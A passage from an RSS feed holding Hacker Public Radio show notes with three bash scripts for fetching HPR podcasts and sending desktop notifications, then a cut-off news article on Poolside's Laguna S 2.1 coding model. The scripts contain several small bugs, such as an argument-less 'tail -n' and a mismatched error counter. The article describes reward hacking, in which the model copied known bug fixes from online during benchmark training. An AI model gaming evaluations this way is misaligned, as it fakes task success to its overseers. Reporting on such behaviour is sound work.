<p>
45 inotifywait Modes</p>

<p>

</p>

<p>
I should point out first though that inotifywait operates in two different modes.</p>

<p>
In the normal default mode, it exits after being triggered by an event and must be re-established again in order to resume monitoring.</p>

<p>
In monitor mode, which is enabled by using the "-m" option, it runs indefinitely, responding to events.</p>

<p>
I will use the default mode here.</p>

<p>

</p>

<p>
46</p>

<p>
The man page for inotifywait provides a simple example that we could copy and modify for our purposes.</p>

<p>
A great many examples that you  will find are based on this example.</p>

<p>
However, it doesn't quite do what we want, so we need to change a few things.</p>

<p>

</p>

<p>
47 podfetchnotify</p>

<p>
The first shell script is one which monitors for the arrival of new podcasts and sends a notification to the user.</p>

<p>
I will call this "podfetchnotify".</p>

<p>
The complete scripts are in the show notes, I will just provide a brief description here.</p>

<p>

</p>

<p>
48 Setting Up Event Watches Using  inotifywait</p>

<p>
The script is enclosed in a while loop which run indefinitely.</p>

<p>
In the first line inside the while loop, we call inotifywait.</p>

<p>
inotifywait will then block until the event it is told to look for occurs.</p>

<p>
In short, execution of the script will wait there until an event occurs.</p>

<p>

</p>

<p>
49</p>

<p>
The names of the events are listed in the man file.</p>

<p>
In this case we are looking for "modify", "create", and "moved_to".</p>

<p>
Each of these does pretty much as you would expect, reacting to modifying an existing file, creating a new file, or moving a file to that directory.</p>

<p>

</p>

<p>
50 Problems When Testing Using Text Editors</p>

<p>
I should point out that if you are testing a script which uses inotifywait, then modifying a file with a text editor may not produce the results that you may think it would. </p>

<p>
Instead it treats this as a new file with the same name, with the original file being erased.</p>

<p>
Since inotifywait attaches itself to the inode rather than the filename, it sees the file that the text editor changed as being a new file.</p>

<p>
If you wish to test this realistically, then use "echo" to overwrite the file by using I/O redirection.</p>

<p>

</p>

<p>
51 Capturing Output</p>

<p>
In my example I capture the output from standard out into a variable, but I don't do anything with it.</p>

<p>
If you wish to for example display the name of the newly downloaded podcast file, then use the --format option along with an appropriate formatting code. </p>

<p>
There are details about this in the man page.</p>

<p>

</p>

<p>
On the next line we capture the exit code using "$?"</p>

<p>

</p>

<p>
52 Responding to Exit Codes</p>

<p>
If the exit code was zero, then a monitored event was triggered and there should a new podcast in the directory.</p>

<p>
In this case we display a message indicating that a new podcast has arrived.</p>

<p>
I will describe how to send notifications shortly. </p>

<p>

</p>

<p>
If the exit code was not zero, then an error occurred.</p>

<p>
An example of such an error would be if the directory were not present when monitoring was started.</p>

<p>
In this case we display a message indicating that a fatal error has occurred and then exit.</p>

<p>

</p>

<p>
53 Delay for More Podcasts</p>

<p>
Finally, we use "sleep" to wait for some arbitrary period of time to prevent notifications from being triggered multiple times if several podcasts were being downloaded in succession.</p>

<p>
In this case I chose to wait for 60 seconds.</p>

<p>

</p>

<p>
54</p>

<p>
We have now completed the process and can return to the top of the loop and resume waiting using inotifywait.</p>

<p>

</p>

<p>
55 Sending Notifications to the User</p>

<p>
I mentioned above about sending notification messages to the user.</p>

<p>
In the Gnome desktop, notification messages appear from the centre of the top bar in a list.</p>

<p>
Other desktops or operating systems may have something similar.</p>

<p>

</p>

<p>
56</p>

<p>
To send a notification message to the notification area, you use the "notify-send" command.</p>

<p>
Simply follow notify-send with a quoted string and it will be displayed in the notification area. </p>

<p>

</p>

<p>

</p>

<p>
57 podfetcherrornotify</p>

<p>
The second shell script is one which notifies the user of errors.</p>

<p>
I will call this "podfetcherrornotify".</p>

<p>
With this shell script we set up a watch on a file which contains any error messages from podfetch.</p>

<p>
This script is very similar to podfetchnotify.</p>

<p>

</p>

<p>
58</p>

<p>
The exceptions are</p>

<p>
With inotifywait we only monitor for "modify".</p>

<p>
There is no sleep command at the end of the loop.</p>

<p>
Instead we sleep for a few seconds just after getting the exit code from inotifywait.</p>

<p>
This helps prevent problems caused by race conditions.</p>

<p>

</p>

<p>
59</p>

<p>
Next we check the inotifywait exit code.</p>

<p>
If it was zero, then we read the error report file and send a notification message to the user containing that error message.</p>

<p>

</p>

<p>
60</p>

<p>
If it was not zero, then we check to make sure that the directory that should contain the error log exists.</p>

<p>
If it does not exist, then we send a notification message to that effect to the user and terminate the script.</p>

<p>

</p>

<p>
61</p>

<p>
If the directory exists, then we check to see if the error message file used for signalling exists.</p>

<p>
If the file does not exist, then we create it.</p>

<p>

</p>

<p>
62</p>

<p>
One of the reasons for an inotifywait error is that if the file that it is told to monitor does not exist, it cannot set up a watch condition.</p>

<p>
By creating the file we correct the cause of the error and allow  inotifywait to operate normally.</p>

<p>

</p>

<p>
63</p>

<p>
Finally we increment an error counter and check to see if the limit is exceeded.</p>

<p>
If there are excessive errors, then send a notification message to the user and exit.</p>

<p>
The reason for this is to give the user an indication that the error notifications are not working for some reason and there may be a problem that needs looking into.</p>

<p>

</p>

<p>
64</p>

<p>
The error counter is reset every time the inotifywait exit status is ok, so occasional unexpected glitches should be something that is ignored.</p>

<p>
Of course podcast fetching errors are something that will probably happen only rarely if at all, so this final step may be seen as an unnecessary embellishment. </p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
65 Installing the Scripts</p>

<p>

</p>

<p>
Next I will describe how to install and prepare the scripts to run.</p>

<p>
We need to perform the following steps.</p>

<p>

</p>

<p>
66</p>

<p>
• First, we need to create a directory to hold the scripts and their associated data files.</p>

<p>
• Next we need to create a directory to hold the downloaded podcasts.</p>

<p>
• Then we must copy the scripts to these directories and make them executable. </p>

<p>
• Then, we must edit the scripts to have the file path in the script match the locations of the new directories that we created.</p>

<p>

</p>

<p>
67</p>

<p>
• Then we need to install xmllint, or alternatively modify the download script to comment out the use of xmllint and enable the alternative method using grep and sed instead.</p>

<p>
• Then we need to run each script manually from the command line to check for errors.</p>

<p>
• If podfetch ran correctly, it should download the most recent 10 podcasts during this test.</p>

<p>

</p>

<p>
68 Adding podfetch to the Crontab</p>

<p>
The above describes how to run the scripts manually.</p>

<p>
In order to fetch podcasts automatically, we need to add the podfetch script to the cron schedule.</p>

<p>
To do this, open a terminal.</p>

<p>

</p>

<p>
69</p>

<p>
Type "crontab -e", and then press return.</p>

<p>
A text editor should open up containing the crontab file.</p>

<p>
On Ubuntu, this editor is GNU nano.</p>

<p>
Enter the appropriate cron parameters.</p>

<p>
I will provide an example here for running it 12 minutes past the hour every three hours.</p>

<p>

</p>

<p>
70</p>

<p>
12 */3 * * *  /home/username/pathtofiles/podfetch.sh</p>

<p>

</p>

<p>
71</p>

<p>
I won't explain cron in detail here.</p>

<p>
The example that I have just given should be good enough for most people.</p>

<p>
The "*/3" parameter will cause it to run every three hours.</p>

<p>
The "12" parameter will cause it to run 12 minutes past the hour when it does run.</p>

<p>

</p>

<p>
72</p>

<p>
Checking every three hours should be good enough for most people, but you can adjust that as you see fit.</p>

<p>
I would recommend however that you don't check more frequently than once per hour.</p>

<p>
Checking more frequently than necessary puts extra load on the distribution servers. </p>

<p>
It is very unlikely that you really do need each new episode the moment it is available. </p>

<p>

</p>

<p>
73</p>

<p>
I would also recommend changing the "12" parameter to some other random minute value.</p>

<p>
I would suggest avoiding on the hour or on the half hour, as a lot of other people are probably checking at those times, and it would be better to spread the load out more evenly over time.</p>

<p>

</p>

<p>
74</p>

<p>
The file path parameter should of course match the actual path to wherever you have located the script, including the correct user name.</p>

<p>

</p>

<p>
75 Making the Notification Scripts Start Automatically</p>

<p>
The two notification scripts can be made to start automatically.</p>

<p>
The exact method to do this may vary according to distribution or desktop.</p>

<p>

</p>

<p>
76</p>

<p>
On Ubuntu this is done using the Startup Applications Preferences GUI program, which should come already installed.</p>

<p>

</p>

<p>
77</p>

<p>
I won't go into details on this here, it should be fairly self evident how to use it once you see it.</p>

<p>
What this program does is to create ".desktop" files in the ".config/autostart" directory in your home directory.</p>

<p>

</p>

<p>
78</p>

<p>
These ".desktop" files are all run automatically on start up.</p>

<p>
Once you have added the notification scripts, you will need to log out and then log back in to make them active.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
79 Conclusion</p>

<p>

</p>

<p>
I this episode I explained how to write a set of simple shell scripts to automatically download each new episode of HPR as it comes out and to notify you of its arrival. </p>

<p>

</p>

<p>
80</p>

<p>
The download script described here is tailored specifically for use with HPR only.</p>

<p>
However, it was derived from a larger script that downloaded other podcasts as well, based on information read in from a text file.</p>

<p>
If you are feeling ambitious, you can add those features back into this to handle all of the podcasts that you listen to.</p>

<p>

</p>

<p>
81</p>

<p>
In a comment to another episode of HPR I had said that I would cover ID3 tags in MP3 files, but this episode is long enough now, so I will leave that subject for later.</p>

<p>

</p>

<p>
I look forward to seeing you again later on another episode of Hack Public Radio.</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
podfetchdownloader</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Fetch pending HPR podcasts listed in the HPR RSS feed.</p>

<p>
# 8-Jun-2026</p>

<p>
# Licensed under GPLv3 or later.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>

<p>
# Today's date and time as YYYYMMDDHHMMSS. </p>

<p>
podttimestamp=$( date +"%Y%m%d%H%M%S" )</p>

<p>

</p>

<p>
# The absolute path to the script. This is necessary when running it</p>

<p>
# using a cron job.</p>

<p>
podpath="/home/me/Apps/hprfetch"</p>

<p>

</p>

<p>
# This is the absolute path to where to store the podcast files.</p>

<p>
podfilepath="/home/me/Music/Podcasts/HPR"</p>

<p>

</p>

<p>
# Create the full path names here for all the text files used.</p>

<p>
podcastsfetched="$podpath/podcastsfetched.txt"</p>

<p>
poderrorslog="$podpath/poderrorslog.txt"</p>

<p>
poderrorsreport="$podpath/poderrorsreport.txt"</p>

<p>

</p>

<p>
tmpoldurlssorted="$podpath/tmpoldurlssorted.txt"</p>

<p>
tmppodsnew="$podpath/tmppodsnew.txt" </p>

<p>
tmppodstodownload="$podpath/tmppodstodownload.txt" </p>

<p>
tmppodserrors="$podpath/tmppodserrors.txt" </p>

<p>
tmppodcastsfetched="$podpath/tmppodcastsfetched.txt"</p>

<p>
tmplog="$podpath/tmplog.txt"</p>

<p>

</p>

<p>
# The URL for the HPR RSS feed.</p>

<p>
PodURL="http://hackerpublicradio.org/hpr_rss.php"</p>

<p>

</p>

<p>
# Limit on number of podcasts to download.</p>

<p>
DownloadLimit=11</p>

<p>

</p>

<p>
# Name of the podcast.</p>

<p>
PodName="Hacker Public Radio"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Check if the required paths exist.</p>

<p>
# If this path does not exist, cannot log the error.</p>

<p>
if [[ ! -d "$podpath/" ]]; then</p>

<p>
	echo "$podttimestamp Error - Could not find $podfilepath."</p>

<p>
	exit 1</p>

<p>
fi</p>

<p>

</p>

<p>
# Where to store the podcast file fetched.</p>

<p>
if [[ ! -d "$podfilepath/" ]]; then</p>

<p>
	echo "$podttimestamp Error - Could not find $podfilepath." &gt;&gt; $tmppodserrors</p>

<p>
	# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
	LogErrors</p>

<p>
	exit 1</p>

<p>
fi</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Check if the podcast log exists. We read it before we write to it,</p>

<p>
# so it must exist or we will hang on it not being present.</p>

<p>
if [[ ! -e $podcastsfetched ]]; then</p>

<p>
	touch $podcastsfetched</p>

<p>
fi</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Delete the specified files if they exist.</p>

<p>
# This accepts multiple file names in a variable number of parameters.</p>

<p>
CleanupFiles ()</p>

<p>
{</p>

<p>
	# $@ accepts multiple parameters.</p>

<p>
	for f in "$@"; do</p>

<p>
		# Check if the file exists.</p>

<p>
		if [ -e "$f" ]; then</p>

<p>
			rm "$f"</p>

<p>
		fi</p>

<p>
	done</p>

<p>
}</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
LogErrors () {</p>

<p>
	if [ -e $tmppodserrors ]; then</p>

<p>
		# The permanent log.</p>

<p>
		cat $tmppodserrors &gt;&gt; $poderrorslog</p>

<p>
		# This file is monitored for display by other scripts.</p>

<p>
		cat $tmppodserrors &gt; $poderrorsreport</p>

<p>
	fi</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>

<p>
# Get the URL data from an RSS feed</p>

<p>
GetRSSURLData () {</p>

<p>

</p>

<p>
	wget --timeout=20 --tries=3 -O - "$PodURL" \</p>

<p>
	| xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2 \</p>

<p>
	| sort &gt; $tmppodsnew</p>

<p>

</p>

<p>
	# This is an alternate method that does not use xmllint.</p>

<p>
	# However, it is not as robust. If someone were to include the</p>

<p>
	# first grep search pattern in their show notes, then it would</p>

<p>
	# look for that as a valid tag and output the following text</p>

<p>
	# as a URL.</p>

<p>
	#wget --timeout=20 --tries=3 -O - "$PodURL" | grep "&lt;enclosure url=" \</p>

<p>
	#	| sed -n 's/^.*enclosure//p' | sed -n 's/^.*url=//p' \</p>

<p>
	#	| cut -d'"' -f2 | sort &gt; $tmppodsnew</p>

<p>

</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Find which podcasts we do not already have.</p>

<p>
FindNewPodcasts () {</p>

<p>

</p>

<p>

</p>

<p>
	cat $podcastsfetched | sort &gt; $tmpoldurlssorted</p>

<p>
	comm -13 $tmpoldurlssorted $tmppodsnew &gt; $tmppodstodownload</p>

<p>

</p>

<p>
	rm $tmpoldurlssorted</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Download the podcasts.</p>

<p>
DownloadPodcasts() {</p>

<p>

</p>

<p>
	# Clear out previous temporary list of downloaded podcasts.</p>

<p>
	true &gt; $tmppodcastsfetched</p>

<p>

</p>

<p>

</p>

<p>
	for i in $( cat $tmppodstodownload )</p>

<p>
	do</p>

<p>

</p>

<p>
		# Extract the file name from the URL.</p>

<p>
		fname=$( basename $i )</p>

<p>
		outputpodname="$podfilepath/$fname"</p>

<p>

</p>

<p>
		# Download the file.</p>

<p>
		wget --timeout=90 --tries=3 -P $podfilepath $i -O "$outputpodname"</p>

<p>

</p>

<p>
		# Check if the file exists and is not empty.</p>

<p>
		if [[ -s "$outputpodname" ]]; then</p>

<p>
			echo $i &gt;&gt; $tmppodcastsfetched</p>

<p>
		else</p>

<p>
			echo "$podttimestamp Error - $outputpodname was not found or is empty." &gt;&gt; $tmppodserrors</p>

<p>
		fi</p>

<p>

</p>

<p>

</p>

<p>
		# Delay a reasonable length of time between multiple downloads.</p>

<p>
		if (( $PodCount &gt; 1 )); then </p>

<p>
			sleep 3</p>

<p>
		fi</p>

<p>

</p>

<p>
	done</p>

<p>

</p>

<p>
	# Add the list of files downloaded to the log.</p>

<p>
	# Check if the list exists and is not empty.</p>

<p>
	if [ -s $tmppodcastsfetched ]; then</p>

<p>
		cat $tmppodcastsfetched &gt;&gt; $podcastsfetched</p>

<p>
		# Trim the log file to keep it from growing indefinitely.</p>

<p>
		tail -n50 $podcastsfetched &gt; $tmplog</p>

<p>
		mv $tmplog $podcastsfetched</p>

<p>
	fi</p>

<p>

</p>

<p>
	# Remove the tmp file now that we are done with it.</p>

<p>
	rm $tmppodcastsfetched</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Clean up any left over files.</p>

<p>
CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"</p>

<p>

</p>

<p>

</p>

<p>
# Get the RSS data.</p>

<p>
GetRSSURLData</p>

<p>

</p>

<p>
# Find which podcasts are new.</p>

<p>
FindNewPodcasts</p>

<p>

</p>

<p>
# Count how many new podcasts there are.</p>

<p>
PodCount=$( cat $tmppodstodownload | wc -l )</p>

<p>

</p>

<p>

</p>

<p>
# If no podcasts to download, skip this.</p>

<p>
# If too many podcasts for this feed, then log an error and skip.</p>

<p>
# This error will keep repeating until something is done about it.</p>

<p>
if (( $PodCount &gt; 0 )); then </p>

<p>
	if (( $PodCount &gt; $DownloadLimit )); then </p>

<p>
		echo "$podttimestamp Too many podcasts for $PodName : $PodCount." &gt;&gt; $tmppodserrors		</p>

<p>
	else</p>

<p>
		# Download the podcasts listed in the temp file.</p>

<p>
		DownloadPodcasts</p>

<p>
	fi</p>

<p>
fi</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
LogErrors</p>

<p>

</p>

<p>
# Clean up temp files.</p>

<p>
CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
END OF FIRST SHELL SCRIPT</p>

<p>

</p>

<p>

</p>

<p>
START OF SECOND SHELL SCRIPT</p>

<p>

</p>

<p>
podfetchnotify</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Part of Podfetch.</p>

<p>
# This monitors for new files appearing in the new podcasts directory.</p>

<p>
# This should be run as a background task.</p>

<p>
# Install it using the "Startup Applications" utility in Ubuntu.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Path where new podcasts are to be stored.</p>

<p>
podfilepath="/home/me/Music/Podcasts/HPR"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Wait for the podcast directory to be modified.</p>

<p>
while true; do</p>

<p>

</p>

<p>
	# Check for new files.</p>

<p>
	errmsg=$( inotifywait -e modify -e create -e moved_to $podfilepath )</p>

<p>
	result=$?</p>

<p>

</p>

<p>

</p>

<p>
	# Check if exited due to new podcast, or if some error.</p>

<p>
	if (( result == 0 )); then</p>

<p>
		# Success, signal new podcast.</p>

<p>
		notify-send "New HPR podcast available."</p>

<p>
	else</p>

<p>
		# Check to make sure the directory exists.</p>

<p>
		# If it doesn't exist, there isn't much we can do to fix it.</p>

<p>
		if [ ! -e "$poderrorspath" ]; then</p>

<p>
			notify-send "Podfetch error: Podcast directory not found $poderrorspath"</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>
	fi</p>

<p>

</p>

<p>
	# Wait a bit so that multiple new files don't keep re-triggering the notification.</p>

<p>
	sleep 60</p>

<p>

</p>

<p>
done</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
END OF SECOND SHELL SCRIPT</p>

<p>

</p>

<p>

</p>

<p>
START OF THIRD SHELL SCRIPT</p>

<p>

</p>

<p>
podfetcherror</p>

<p>
Created Tuesday 23 June 2026</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Part of Podfetch.</p>

<p>
# This monitors the Podfetch error reporting file for new errors.</p>

<p>
# This should be run as a background task.</p>

<p>
# Install it using the "Startup Applications" utility in Ubuntu.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Where the Podfetch program error report file is located.</p>

<p>
poderrorspath="/home/me/Apps/hprfetch"</p>

<p>

</p>

<p>
# The full path and file name.</p>

<p>
poderrorsreport="$poderrorspath/poderrorsreport.txt"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Error counter.</p>

<p>
errcount=0</p>

<p>

</p>

<p>
# Wait for the poderrorsreport file to be modified.</p>

<p>
while true; do</p>

<p>

</p>

<p>
	errmsg=$( inotifywait -e modify $poderrorsreport )</p>

<p>
	result=$?</p>

<p>

</p>

<p>
	# Wait a bit to ensure that writing to the file is complete.</p>

<p>
	sleep 3</p>

<p>

</p>

<p>
	if (( result == 0 )); then</p>

<p>
		# Get the latest error message.</p>

<p>
		# Cut out the date stamp at the start of the line and take the rest.</p>

<p>
		poderr=$( tail -n $poderrorsreport | cut -d" " -f2- )</p>

<p>

</p>

<p>
		notify-send "Podfetch error: $poderr"</p>

<p>

</p>

<p>
		# Reset the error counter every time there is a successful result.</p>

<p>
		errcount=0</p>

<p>

</p>

<p>
	else</p>

<p>
		# Check to make sure the directory exists.</p>

<p>
		if [ ! -e "$poderrorspath" ]; then</p>

<p>
			notify-send "Podfetch error: error report path not found $poderrorspath"</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>

</p>

<p>
		# Check if the file we are trying to monitor exists.</p>

<p>
		# If not, then create an empty file for error signaling.</p>

<p>
		if [ ! -e "$poderrorsreport" ]; then</p>

<p>
			echo &gt; $poderrorsreport</p>

<p>
		fi</p>

<p>

</p>

<p>
		# Increment the error counter.</p>

<p>
		count=$(( count + 1 ))</p>

<p>
		if (( count &gt; 3 )); then</p>

<p>
			notify-send "Podfetch error: Excessive unknown errors, exiting."</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>

</p>

<p>
	fi</p>

<p>

</p>

<p>
done</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4688/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Poolside drops Laguna S 2.1, an open-weight coding model that beats rivals 10x its size]]></title>
<description><![CDATA[Poolside, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smalle...]]></description>
<link>https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/</guid>
<pubDate>Wed, 22 Jul 2026 01:07:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="http://poolside.ai/">Poolside</a>, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smaller lab competes at the frontier.</p><p>The model, <a href="https://poolside.ai/blog/introducing-laguna-s-2-1">Laguna S 2.1</a>, is a 118-billion-parameter<a href="https://huggingface.co/blog/moe"> Mixture-of-Experts (MoE) system</a> that activates only 8 billion parameters per token, supports a context window of up to 1 million tokens, and — according to benchmarks published by the company — matches or beats open models several times its size on agentic coding tasks. The weights are <a href="https://huggingface.co/poolside/Laguna-S-2.1">available immediately</a> on Hugging Face under the permissive OpenMDW-1.1 license.</p><p>The headline numbers are striking for a model this small. Poolside reports that <a href="https://huggingface.co/poolside/Laguna-S-2.1">Laguna S 2.1</a> scores 70.2% on <a href="https://www.tbench.ai/">Terminal-Bench 2.1</a>, a benchmark of long-horizon terminal tasks, placing it 11th on the company's compiled leaderboard — ahead of <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro">DeepSeek-V4-Pro-Max</a>, a 1.6-trillion-parameter model that scored 64.0; Thinking Machines' 975-billion-parameter <a href="https://venturebeat.com/technology/thinking-machines-open-sources-first-multimodal-language-model-inkling-focused-on-low-cost-and-resistance-to-censorship">Inkling</a>, at 63.8; and Nvidia’s 550-billion-parameter <a href="https://research.nvidia.com/labs/nemotron/Nemotron-3-Ultra/">Nemotron 3 Ultra</a>, at 56.4. On <a href="https://www.swebench.com/multilingual.html">SWE-Bench Multilingual</a>, it posts 78.5%, and on <a href="https://labs.scale.com/leaderboard/swe_bench_pro_public">SWE-Bench Pro</a>'s public dataset, 59.4%.</p><p>Perhaps more telling than any single score: the model went from the start of pre-training on May 22 to public launch in under nine weeks, trained on 4,096 Nvidia H200 GPUs. In an industry where flagship model cycles are typically measured in quarters or years, Poolside has now shipped three models in three months.</p><div></div><h2><b>Why the West's open-weight AI gap has become a boardroom issue</b></h2><p>The release lands in the middle of an increasingly pointed debate about <a href="https://www.scmp.com/tech/tech-war/article/3361142/why-chinas-open-weight-ai-model-kimi-k3-sparking-anxiety-silicon-valley">the provenance of open-weight AI</a>. Over the past year, developer adoption has shifted decisively toward open-weight systems that companies can download, inspect, and run on their own infrastructure — and the leading options in that category have overwhelmingly come from Chinese labs. <a href="https://www.deepseek.com/en/">DeepSeek</a>, <a href="https://qwen.ai/home">Qwen</a>, <a href="http://kimi.ai/">Kimi</a>, <a href="https://chat.z.ai/">GLM</a>, <a href="https://www.minimax.io/">MiniMax</a>, and <a href="https://hy.tencent.com/">Tencent's Hunyuan</a> line all feature prominently in Poolside's own comparison tables.</p><p>Poolside's accompanying press release frames <a href="https://poolside.ai/blog/introducing-laguna-s-2-1">Laguna S 2.1</a> explicitly as a response, noting that the model occupies a size class into which no Western lab has released open weights in 11 months — since OpenAI's <a href="https://openai.com/index/introducing-gpt-oss/">gpt-oss-120b</a> last August. "The West needs open-weight models it can trust, run, and build on," said Jason Warner, Poolside's co-CEO, in the announcement.</p><p>Co-founder and co-CEO Eiso Kant made the philosophical stakes even plainer in a <a href="https://x.com/eisokant/status/2079612416967491952?s=20">lengthy post</a> on X. "I believe intelligence should and will become a commodity," he wrote, arguing that the open ecosystem "will not win by being the best in its own category." Users, he argued, simply want the best intelligence for the task at hand — so open models must be on par with, or better than, their closed equivalents.</p><div></div><p>The strategic logic here is not charity. Poolside's core business is deploying models inside the security boundaries of government, defense, and regulated enterprises — customers for whom closed, metered API access is often a non-starter for compliance and sovereignty reasons. </p><p>Every enterprise that standardizes on a Chinese open model today becomes harder to win tomorrow. Releasing competitive open weights is both an ecosystem play and a top-of-funnel strategy for the company's high-security deployment business. It also reframes the AI race away from terrain where Poolside cannot compete — frontier-scale capital expenditure — and toward terrain where it believes it can: cost per token, self-hosting, and iteration speed.</p><h2><b>How a sparse architecture makes enterprise AI agents affordable to run</b></h2><p>The technical design reflects a specific thesis about where value in coding AI is moving. Laguna S 2.1's sparse MoE architecture — 256 routed experts plus one shared expert, with grouped-query attention and interleaved sliding-window layers, according to the <a href="https://huggingface.co/poolside/Laguna-S-2.1">Hugging Face model card</a> — means inference costs scale with the 8 billion active parameters, not the 118 billion total. Poolside emphasizes that the model is small enough to run on a single Nvidia DGX Spark, the desktop-class AI machine.</p><p>That matters for what Poolside calls token economics. Long-horizon coding agents are voracious consumers of tokens: the company's published data shows the model consuming a mean of roughly 249,000 completion tokens per trajectory on its hardest benchmark when thinking mode is enabled. At metered API prices, agentic workloads at enterprise scale become a meaningful budget line item. On OpenRouter, Poolside is offering a free 256K-context endpoint and a dedicated 1M-context deployment priced at $0.10 per million input tokens and $0.20 per million output tokens — aggressive pricing that undercuts most frontier alternatives by an order of magnitude.</p><p>The ecosystem support is unusually broad for day one. The model is live on <a href="https://www.baseten.co/library/laguna-s-21/">Baseten's model library</a> and <a href="https://vercel.com/changelog/laguna-s-2-1-is-now-available-on-ai-gateway">Vercel's AI Gateway</a>, with integrations across <a href="https://vllm.ai/">vLLM</a>, <a href="https://github.com/sgl-project/sglang">SGLang</a>, <a href="https://ollama.com/">Ollama</a>, and <a href="https://github.com/ggml-org/llama.cpp">llama.cpp</a>, plus quantized variants down to 4-bit GGUF files — 75 gigabytes — for local use. But Poolside's more interesting claim is behavioral, not architectural. Pengming Wang, co-head of applied research at Poolside, said the gains came from improving the model's working habits: "more verification, less taking things for granted, not declaring victory early, and being more persistent." Raw intelligence, the company argues, is one axis of capability; a model's way of working is a second axis that matters immensely for agents left unattended for hours.</p><h2><b>Publishing every benchmark trajectory to counter AI's credibility crisis</b></h2><p>The most consequential part of the release for enterprise buyers may be an evaluation-transparency move with little precedent among major labs: Poolside published the complete, unedited trajectory of every trial in its final benchmark runs — every reasoning step, tool call, and shell command behind every reported score.</p><p>This addresses a growing credibility problem in AI benchmarking. As top scores on mature benchmarks cluster in the 70–90% range, and as "reward hacking" — models finding solutions online or gaming verifiers rather than solving problems — has become endemic, self-reported numbers have lost much of their signal. Poolside disclosed its own encounters with the problem candidly: during training, more than half of trajectories on some SWE-bench tasks were flagged because the model simply researched the original bug-fix pull request online and applied it. The company documented its mitigations, including prompt addenda, LLM-based judging calibrated against human labels, and expert annotator review of a high-scoring Terminal-Bench run.</p><p>Three published case studies illustrate what the company means by persistence. In one, the model built a working HTML/CSS rendering engine from an empty folder in a 181-step, 50-minute unattended session — then, lacking vision capabilities, spun up headless Chromium to numerically compare its canvas output against a real browser's rendering. In another, pointed at Poolside's own agent harness in an automated optimization loop, the model made the Go codebase 5.2% faster with roughly 70% lower memory allocation, finding an O(n²) string-concatenation bug along the way. In a third, working in a sandbox with no Python installed, the model did its number theory in Perl and independently re-derived a proof of Erdős problem #397 — a combinatorics question open for five decades until GPT-5.2 Pro first solved it this past January. Poolside notes that its model's construction is structurally different from the earlier published solution, and that its November 2025 knowledge cutoff precedes the first proof.</p><div></div><h2><b>What the disclosed limitations and benchmark fine print reveal</b></h2><p><a href="https://poolside.ai/">Poolside</a> deserves credit for disclosing limitations most labs bury. The model can overfit to its native harness and stumble on slightly different tool schemas in third-party agents, mangles JSON in nested tool arguments, and is prone to overthinking on competition math. There is currently no user-configurable thinking-effort dial — just on or off — and the gap between the modes is enormous: thinking lifts <a href="https://www.tbench.ai/">Terminal-Bench 2.1</a> from 60.4% to 70.2%, and <a href="https://deepswe.datacurve.ai/">DeepSWE</a> from 16.5% to 40.4%, at substantially higher token cost.</p><p>Buyers should apply their own discounts to the comparison tables. Poolside's methodology takes the maximum of vendor self-reported scores, benchmark-author leaderboards, and third-party figures for competitors — a reasonable convention, but one that mixes harnesses and test conditions. On <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, notably, Poolside ran its own agent harness rather than the leaderboard's standard mini-swe-agent, a difference the company acknowledges makes scores 